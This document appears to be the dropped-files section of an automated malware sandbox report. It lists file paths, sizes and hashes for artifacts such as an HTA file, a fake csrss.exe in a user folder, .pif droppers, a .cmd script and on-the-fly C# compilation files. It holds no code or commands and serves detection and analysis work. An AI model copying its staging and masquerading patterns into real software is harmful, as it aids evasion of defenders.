- SHA512 e4b89ba0d7db2a1d01dca1ac23ce1b8779989f88e35f3bfa92571cd55091662f95cec7dcb544eeb36c63b24fb4ffe807a38a967feb7b1c63bcf253f8c47c4ed7
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
- Size 344B
- SHA256 6f9e54c82fa0ad8db97a12fc2dec6722523ebd03664e875f2aa41c00ba160063
- MD5 425346eb4cacc5f98e3164a6c7de27b3
- SHA1 6c7ae592f10749a7738e9b01728135c3a034a64e
- SHA512 6c111ac85ed2fa00c744ac09e734b467102741d4a43144be1e2ca602997e2375539af249b6d530208aafcf1902edc545d1f06b528ebdb82afb4aad7e6b0297fa
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62
- Size 458B
- SHA256 a58a232d3207c3c04e09153f5abab9b0f2c07c3b84309e0cc5115ff51195c3f2
- MD5 c98d4f43b9c1c2b5a8853004274ef4f1
- SHA1 111c7cfb582a9905c597ae9764fefcc232c3ec8c
- SHA512 34e6233503e1f3742f6fb6ddd21c91d68bfdb2b9bb2f27232f4692582ef87cccc30b0fb24f18a7dfdf76d76eb5dd6fa12b1b35c8c5af34c7d8810c06e7203442
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894
- Size 432B
- SHA256 99729a2a4333e4d25af022afb555b31300921cf0d34f62816f1f2562f86e6e1e
- MD5 7d3aeafd9027511f18e7ab242241d7e6
- SHA1 d2ff0b645057c394019b4fc830d57c2ddfefdd7f
- SHA512 9d91a40fd913ba3e1adac8e2ad41afbf2657b3897eb9a651113c9eb50f1fb705caa1fcf919938fdd43863ca0c69486386f44f173126820ed8be60052867c7aff
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F53EB4E574DE32C870452087D92DBEBB_B21DB2D798D099C01A48B69E7CD386BD
- Size 430B
- SHA256 2870ac11202622098b9034402ec9a8d19e5b36d6332d01468252ef9a27757416
- MD5 8406687445d13f0ced52917979884049
- SHA1 665c5ece24890943756c4830f25661612efa9d50
- SHA512 38f30a0f0f45dca94ecbab9fb97640bfaf05b90a6f46cbc8d461a586053ae28bf0a30444da237f1632c3c05f4ccd5c8625c8b54df36c5a1154ac314d22be4443
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DUME8XYE\mybestgirlfriendwalkingaroundtheworld[1].hta
- Size 8KB
- SHA256 829393b4520597450c50b7f93c5a775ca8cf2a1d1bf5c7ccc51cf4f79699e6b8
- MD5 dc218bad9f3848222420d81be0e631ad
- SHA1 b5a364451ec9b8acf659f39b3b4bc67b3f932047
- SHA512 c455151511b4fe2f00a4798ff124a5855db1eb9d2241c62d6c2a584af136e2fbf73d5ab3275860ffea62bd4c362dc280cb3a13df68d16c192b87dd394be33ae1
- SSDEEP 48:3vysyKTVFb2WoJUaMsyKTVRwdb2WoJUaO4jfoz/y/MDLTNG7Lv2syKTVvvsyKTVC:fyMB+cMi+bH/MDLTsuM3MC
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\RES2740.tmp
- Size 1KB
- SHA256 fb0236cc90bb0057004d5bcb7b44eabb684ab655dac9de01d0d309c31326ecee
- MD5 17d4014e90fc030c96c76ad92d7ba886
- SHA1 c0efef6725a813bcc3bd245198cfd979af59e483
- SHA512 438f96b7b222b4ea208fd2e360a7931f55a81bf0d33594a3d2cc85f37b2a6a4e3ff111722474aaa2b8e37e8ee9f07558ef4e2cde3b81febae57e799ae7dad5f2
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\Tar891.tmp
- Size 183KB
- SHA256 ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673
- MD5 109cab5505f5e065b63d01361467a83b
- SHA1 4ed78955b9272a9ed689b51bf2bf4a86a25e53fc
- SHA512 753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc
- SSDEEP 1536:wAZwoJ+lCHsTRvyqgCyiWlUDNWdm1wpSru2b0PwjY/z02DTr3rmt6mxIC:wsdJ+RTRaXCyXdmASru2bajbdA
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\_bharmit.dll
- Size 3KB
- SHA256 86554e40eeb7109f35dfbe41234f751521e72fdaa3d1898fd1563ce794e6aafc
- MD5 8d6f68eb9b21347027b92824ed4bba6a
- SHA1 fa14dc5fba1fc732b0cb534d1342fb564e97f569
- SHA512 cda07a46fcedb1d44adb539c0e7eb60b1fd78b4fb8fbb13a607950c3ac2a142208219afe5fcdf645aea5b961f69e5a9a7a2f94453ecebcbb0a38042755ae5834
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\_bharmit.pdb
- Size 7KB
- SHA256 44250bf30ddfa7a08adf4290c129cb14d15efdc1e41f258f207aa1a589aa0433
- MD5 f688dcbc663a9e8ac5dd57ae1f5f7a2f
- SHA1 b0723a0113f26cb891b461e205c691a6116ae42c
- SHA512 c60394283051e3c24c5a36b7c703b691670cdd76c95869a45005608b7d005aef0bc85fa1196fc8563a29f0416dac56b9069eb9170e58300eea5436aac1759384
- SSDEEP 6:zz/BamfXllNS/AowKmarn1mllxrS/77715KZYXxGQu+e0KpYXjowKmajyMoGggkI:zz/H1W/AojBSXS/pw2qQojjfRD
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\csrss.exe
- Size 1.9MB
- SHA256 95d10ff038effd4a63c0cdd97b40da1877c01a21d91cf0d72917387f1771d024
- MD5 1a3d4243cf435ec6034f3814551150ed
- SHA1 3ee58a6e81c9b43fdceb3d8c1bf7d053f92c7073
- SHA512 875316179dc826a787e2e7aed0f097f75ccfb1ca254245f74622f2f6ed8b095038d9743714863757db7f79f33b7f03f06ca5604ed04e59398b153e0c4ce7e440
- SSDEEP 24576:rjA3YMV5l3T9C7XWMJUNHx/4Vmtv+8iFDECySm64Ia7G86dNEHDLGQcxLR/vPHV5:rjo5xXHBviFDEQy7l6PEORJvRWHC
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\Links\dajivhqI.pif
- Size 66KB
- SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
- MD5 c116d3604ceafe7057d77ff27552c215
- SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
- SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6
- SSDEEP 1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\All Users\1801.cmd
- Size 19KB
- SHA256 edd4094e7a82a6ff8be65d6b075e9513bd15a6b74f8032b5c10ce18f7191fa60
- MD5 1df650cca01129127d30063634ab5c03
- SHA1 bc7172dec0b12b05f2247bd5e17751eb33474d4e
- SHA512 0bddf9ecaaedb0c30103a1fbfb644d6d4f7608bd596403307ed89b2390568c3a29e2cf55d10e2eadbfc407ede52eaf9a4f2321ba5f37e358a1039f73c7688fbd
- SSDEEP 384:cI9V3jUBZ6ocTNjb6yy2gbQ7AI8VbBR8blGXsfVsqvLWUzz2:cIzjMwF8yy2gbQ7KObcXvwLZ2
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Public\alpha.pif
- Size 295KB
- SHA256 17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae
- MD5 ad7b9c14083b52bc532fba5948342b98
- SHA1 ee8cbf12d87c4d388f09b4f69bed2e91682920b5
- SHA512 e12aad20c824187b39edb3c7943709290b5ddbf1b4032988db46f2e86da3cf7e7783f78c82e4dc5da232f666b8f9799a260a1f8e2694eb4d0cdaf78da710fde1
- SSDEEP 3072:H/Fkbff/FoeMrx9O1vfjQdLCQMcP7FRCMkLjyGez1c:H9kbtoLtM1nM9xf/CMkLmt+
- MD5 SHA1 SHA512 SSDEEP
- Path \??\c:\Users\Admin\AppData\Local\Temp\CSC273F.tmp
- Size 652B
- SHA256 c25b77734e92c6d6964720a51fdec0b38eeb91cafadb05a29705718de762a02a
- MD5 41a5802bbe2fabe24a8916c39cda7bf0
- SHA1 2ace554cf6cd788a735e746d4b14c1a16f554a2e
- SHA512 f3656f146e6eb58b5a180c9f4f323be7644164435c2dbe8f42f9b73d7061526af1fcc5a4c329cf07f925ebb122efbde59a445faa89e4d284b33fd1e1a6a6f319
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\_bharmit.0.cs
- Size 477B
- SHA256 10e079b21ffbac724722304512f772e1fc17f3afa10aaf4a43d77600f96fa12a
- MD5 6f74e8613fb185256fe55a69bbc180a2
- SHA1 4025096645f9f907442c8f578edd71ae51301658
- SHA512 a668f3effe82223b69364e1de94715ac03d0449b22cd5ab72c0762fb82fdc3136d727744f048268f506d2c2202eb62739c6bbd1f6251559ff2fa0a72116b51c0
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\_bharmit.cmdline
- Size 309B
- SHA256 c7a3440c5e8d4e2a07e6d98a4e715042bc289c164290f78a56b58cd1a671e7cc
- MD5 15e79b0659f145caba443d9bce7da574
- SHA1 154a8d8b4c91182dcca71a8c2b86935844b17d69
- SHA512 73572c896a7e9789f0ed83842e5bbb7ccdd58cec6c3d7eb5e2e5779fd41bc5fa9a4729ea9506f7e06a52cf4104541b4236b6440b9b18be55f9a05f5d04d80309
- MD5 SHA1 SHA512